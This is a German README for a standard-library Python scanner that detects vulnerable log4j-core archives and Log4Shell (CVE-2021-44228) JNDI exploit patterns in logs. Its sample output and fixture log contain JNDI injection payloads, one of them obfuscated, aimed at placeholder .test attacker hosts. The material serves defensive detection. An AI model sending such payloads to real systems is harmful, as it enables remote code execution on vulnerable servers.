
Leichtgewichtiger Scanner, der verwundbare Log4j-Versionen und Log4Shell-Indikatoren (CVE-2021-44228) in einem Dateisystembaum erkennt.
Ein abhängigkeitsfreier, defensiver Scanner für Log4Shell — findet verwundbare log4j-core-JARs und JNDI-Exploit-Muster in Logs und Konfigurationen.
Während meiner CERT-In-Rotation arbeitete ich an Bedrohungserkennung, Eingrenzung, Behebung und Threat Hunting — genau dem Arbeitsablauf, den Log4Shell (CVE-2021-44228) im Dezember 2021 in großem Umfang erforderte: jedes verwundbare log4j-core-Artefakt in einer Flotte finden und Logs nach ${jndi:...}-Exploit-Versuchen durchsuchen. Dieser Scanner bildet diesen defensiven Arbeitsablauf in einem einzigen, portablen Python-Skript mit Standardbibliothek ab, das auf dem untersuchten Host nichts installiert haben muss.
.jar- / .war- / .ear-Dateien.pom.properties und MANIFEST.MF aus jedem Archiv mit zipfile und fällt auf den Dateinamen zurück; unterscheidet echte log4j-core von nicht verwandten JARs.${jndi:ldap:// und gängigen Verschleierungen (${${lower:j}ndi:…}, durch eine geschweifte Klammer getrenntes j}ndi:, ${::-j}).JndiLookup.class, zusätzlich Hinweise zur Überwachung des ausgehenden Datenverkehrs.log4j-core-2.14.1.jar (echtes ZIP mit einer log4j-core-pom.properties), einer gepatchten 2.17.1.jar, einem nicht verwandten JAR und einem Log mit JNDI-Payloads.--demo erstellt und scannt die Beispielstruktur Ende-zu-Ende.os, re, zipfile). Keine Abhängigkeiten.Python 3 (nur Standardbibliothek: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Führe die Demo gegen die enthaltene Beispielstruktur aus:
python log4shell_scan.py --demo
Erwartete Ausgabe (gekürzt):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Scanne jedes Verzeichnis, dessen Prüfung dir gestattet ist:
python log4shell_scan.py /path/to/deployed/app
Der Prozess-Exit-Code ist 1, wenn etwas Verwundbares oder Verdächtiges gefunden wird, und 0, wenn alles sauber ist — praktisch für CI-/Pipeline-Gating.
Baue die Beispielstruktur jederzeit neu:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Nur für lehrreiche, defensive und autorisierte Zwecke. Führe ihn nur gegen Systeme und Artefakte aus, deren Prüfung dir gestattet ist. Der Scanner liest und gleicht nur Muster ab — er führt nichts aus und nutzt nichts aus. Die enthaltenen Beispiel-JARs sind nachgebaute Platzhalter, keine echten Apache-Artefakte, und alle Payload-Hostnamen verwenden nicht routingfähige .test-Namen. Die Versions-CVE-Zuordnungen dienen der Orientierung; überprüfe sie anhand der offiziellen CVE- und Apache-Log4j-Sicherheitshinweise.